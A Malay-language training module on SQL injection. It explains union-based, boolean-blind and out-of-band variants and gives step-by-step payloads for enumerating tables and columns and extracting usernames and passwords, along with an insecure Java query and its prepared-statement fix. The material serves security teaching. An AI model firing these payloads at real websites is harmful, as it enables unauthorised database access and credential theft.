SQL Injection

Di dalam modul ini, kita akan belajar mengenai :

1. Apakah itu SQL Injection ?
2. Beberapa contoh SQL Injection.
3. Penerangan mengenai cara-cara untuk mencari vulnerability ini.
4. Eksploit pelbagai jenis SQL vulnerability.
5. Konklusi mengenai cara-cara untuk mengatasi berlakunya SQL injection.

Apakah Itu SQL injection (SQLi)?

SQL injection adalah sebuah kerentanan pada laman web yang membolehkan penggodam bermain dengan queries yang dibuat pada aplikasi tersebut untuk masuk ke dalam database. Kerentanan ini umumnya memungkinkan penggodam untuk mengambil data yang kebiasaannya tidak dapat diakses oleh pihak luar. Database itu termasuklah data kepunyaan pengguna lain, atau apa sahaja data yang aplikasi web itu sahaja yang mampu akses. Dalam banyak kes yang berlaku, penggodam dapat mengubah atau delete data, menyebabkan impak buruk kepada aplikasi web tersebut.

Dalam sesetengah situasi, penggodam boleh melaksanakan serangan SQL injection untuk compromise sebarang underlying server atau mencari back-end infrastructure yang ada, ataupun menjalankan serangan denial-of-service.

Jenis-Jenis SQLi

1. In-Band SQLi : Error-Based & Union-Based (Tutorial)
2. Blind Sqli : Boolean-Based & Time-Based (Tutorial)
3. Out-of-Band SQLi (Tutorial)

Cara Mencari SQLi vulnerabilities

1. Submit single quote character ‘ dan lihat pada sebarang error yang muncul.
2. Submit beberapa SQL-specific syntax yang mengeluarkan (original) value kepada entry point, dan kepada different value, kemudian lihat kepada systematic difference sewaktu kita dapatkan application responses.
3. Submit Boolean conditions seperti OR 1=1 and OR 1=2, dan lihat kepada perbezaan dalam respons yang diterima.
4. Submit payloads yang direka untuk trigger time delays sewaktu kita execute, dalam rangka SQL query, dan lihat kepada perbezaan masa yang diambil untuk respon.
5. Submit OAST payloads yang direka untuk trigger out-of-band network interaction, dalam rangka SQL query. Kemudian kita lihat kepada sebarang resulting interactions.

In Band SQLi [Union-Based]

Untuk melaksanakan SQL injection UNION attack, kita perlu pastikan bahawa serangan kita memenuhi 2 kriteria iaitu :

1. Berapakah columns yang akan kita dapat daripada original query?
2. Columns yang mana satu daripada original query yang ada data ?

Bagaimanakah cara untuk check column di dalam table query?

Method yang digunakan adalah injecting a series of ORDER BY clauses dan dapatkan spesifik column index sehingga error occurs :

```
' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 –
```

Apabila kita telah capai maksimum spesifik column index nombor daripada actual columns di dalam set, database akan keluarkan error, seperti:

```
The ORDER BY position number 3 is out of range of the number of items in the select list.
```

Cara Mencari columns yang mengandungi data

Setelah kita berjaya mendapatkan bilangan columns yang ada, kita boleh try n error setiap column untuk cari data dengan cara submit UNION SELECT payloads. Contohnya, jika query returns 4 columns, kita boleh submit:

```
' UNION SELECT 'a',NULL,NULL,NULL --
' UNION SELECT NULL,'a',NULL,NULL --
' UNION SELECT NULL,NULL,'a',NULL --
' UNION SELECT NULL,NULL,NULL,'a' –
```

Jika ada column yang tidak mempunyai data, column tersebut akan menghasilkan error, contohnya:

```
Conversion failed when converting the varchar value 'a' to data type int.
```

Extract information

Untuk extract data table daripada database :

1' and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = database() -- -

Untuk extract column daripada table yang kita pilih :

1' and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema = database() and table_name ='user'-- -

Extract sensitive data daripada table user :

1' and 1=2 union select 1,group_concat(username,0x3a,password),3,4 from user-- -

Blind SQLi [Boolean Based]

Mengapakah Boleh Berlaku Serangan Sql Boolean Based?

Serangan ini berlaku kerana developer telah tingkatkan security dengan cara mereka block error message yang keluar apabila berlaku sqli. Disebabkan itu, jika database vuln untuk sqli, hacker tidak dapat error message daripada website tersebut.

Bagaimanakah Serangan Ini Berlaku?

Untuk serangan kali ini, penyerang akan menilai(evaluating) results daripada various queries sama ada return TRUE atau FALSE.

Checking Vuln Untuk Injection

Cara yang pertama adalah dengan letakkan tanda ketik selepas nombor :

http://domain.com/php?id=1’

Kemudian, Inject ke dalam query untuk dapatkan answer TRUE :

http://domain.com/php?id=1' AND 1=1 --+

SELECT * from table_name WHERE id=1' AND 1=1

Inject ke dalam query untuk dapatkan answer FALSE :

http://domain.com/php?id=1' AND 1=0 --+

SELECT * from table_name WHERE id=1' AND 1=0

Checking for Panjang Database(Database String)

Sekarang, kita akan check Panjang database. Masukkan payload dan jika return true, maksudnya itulah Panjang database yang ada. Kita perlu tahu Panjang Database ini supaya kita boleh tahu ianya terdiri daripada berapa huruf.

Payload :

http://domain.com/php?id=1' AND (length(database())) = 1 --+

http://domain.com/php?id=1' AND (length(database())) = 2 --+

http://domain.com/php?id=1' AND (length(database())) = 3 --+

Guessing Database name

Selepas kita dah tahu Panjang Database, sekarang kita kena guess Database name dengan menggunakan ASCII code.

Payload di bawah ini digunakan untuk check First letter dlm Database, Jika TRUE maksudnya code huruf pertama dalam Database itu adalah atas daripada 100:

http://domain.com/php?id=1' AND (ascii(substr((select database()),**1**,1))) > 100 --+

Contohnya, kita try n error dan dapat code huruf pertama adalah 115 kerana ianya return TRUE, payload yang digunakan adalah seperti berikut:

http://domain.com/php?id=1' AND (ascii(substr((select database()),**1**,1))) = 115 --+

*115 adalah huruf s jika dirujuk kepada ***‘https://www.ascii-code.com/’***

Kemudian kita boleh test untuk cari huruf kedua pula dengan cara tukar payload seperti berikut:

http://domain.com/php?id=1' AND (ascii(substr((select database()),**2**,1))) = 115 --+

Guessing Table Name and String Length

Payload yang digunakan untuk test String Length, jika TRUE maka itulah string length untuk table:

http://domain.com/php?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit **0**,1))) = **6** --+

*contoh di atas ini adalah untuk test string length untuk table pertama iaitu nombor ‘0’

Selepas dah dapat string length untuk table, kita kena extract ascii code supaya kita dapat table name. Jika TRUE, maka itulah ascii code untuk huruf pertama. Repeat benda sama untuk next huruf sehingga dpt table name :

http://domain.com/php?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit **0**,1) ,**1**,1))) = **115** --+

*contoh di atas ini adalah untuk huruf pertama ‘1’ dalam table pertama ‘0’ yang mana return TRUE untuk ascii code ‘115’

Guessing column username daripada table

Macam biasa, kita kena guess string length untuk column username kita dahulu, jika return TRUE maka itulah string length untuk column username :

http://domain.com/php?id=1' AND (length((select **username** from **users** limit 0,1))) = **4** --+

*berdasarkan contoh di atas, column adalah ‘username’ table adalah ‘users’ dan ‘4’ itu adalah string length untuk username(column)

Next, kita guess username tersebut. Jika return TRUE maka itulah huruf pertama :

http://domain.com/php?id=1' AND (ascii(substr((select username from users limit 0,1) ,**1**,1))) = **68** --+

*berdasarkan contoh di atas, huruf pertama ‘1’ dalam username adalah ’68’ (ascii code)

Then, kita ulang sahaja method sama untuk dapatkan password dsb. Dan kalau nak lebih mudah, pakai sqlmap je.

Out-of-Band SQLi

Cara untuk exploit SQLi vulnerability kali ini adalah dengan mengganggu(triggering) out-of-band network interactions kepada sistem yang dikawal oleh kita.

Cara paling mudah untuk melaksanakan serangan out-of-band adalah dengan menggunakan Burp Collaborator. Server ini memberi peluang kepada kita untuk custom sendiri pelbagai jenis network service(termasuklah DNS), dan kita boleh detect waktu interaksi berlaku di dalam rangkaian selepas kita hantar payloads aplikasi yang vuln.

Untuk pendedahan yang lebih lanjut, kita akan lihat di dalam tutorial nanti.

Cara Mengatasi Serangan SQL Injection

Contoh code yang tidak selamat :

String query = "SELECT * FROM products WHERE category = '"+ input + “’”;

Statement statement = connection.createStatement();

ResultSet resultSet = statement.executeQuery(query);

Contoh code yang selamat :

PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?");

statement.setString(1, input);

ResultSet resultSet = statement.executeQuery();

Rujukan

- *https://portswigger.net/web-security/sql-injection*
- *https://medium.com/@nyomanpradipta120/sql-injection-union-attack-9c10de1a5635*
- *https://www.hackingarticles.in/beginner-guide-sql-injection-boolean-based-part-2/*
- *https://portswigger.net/web-security/sql-injection/blind*

SESI PRAKTIKAL & LIVE TUTORIAL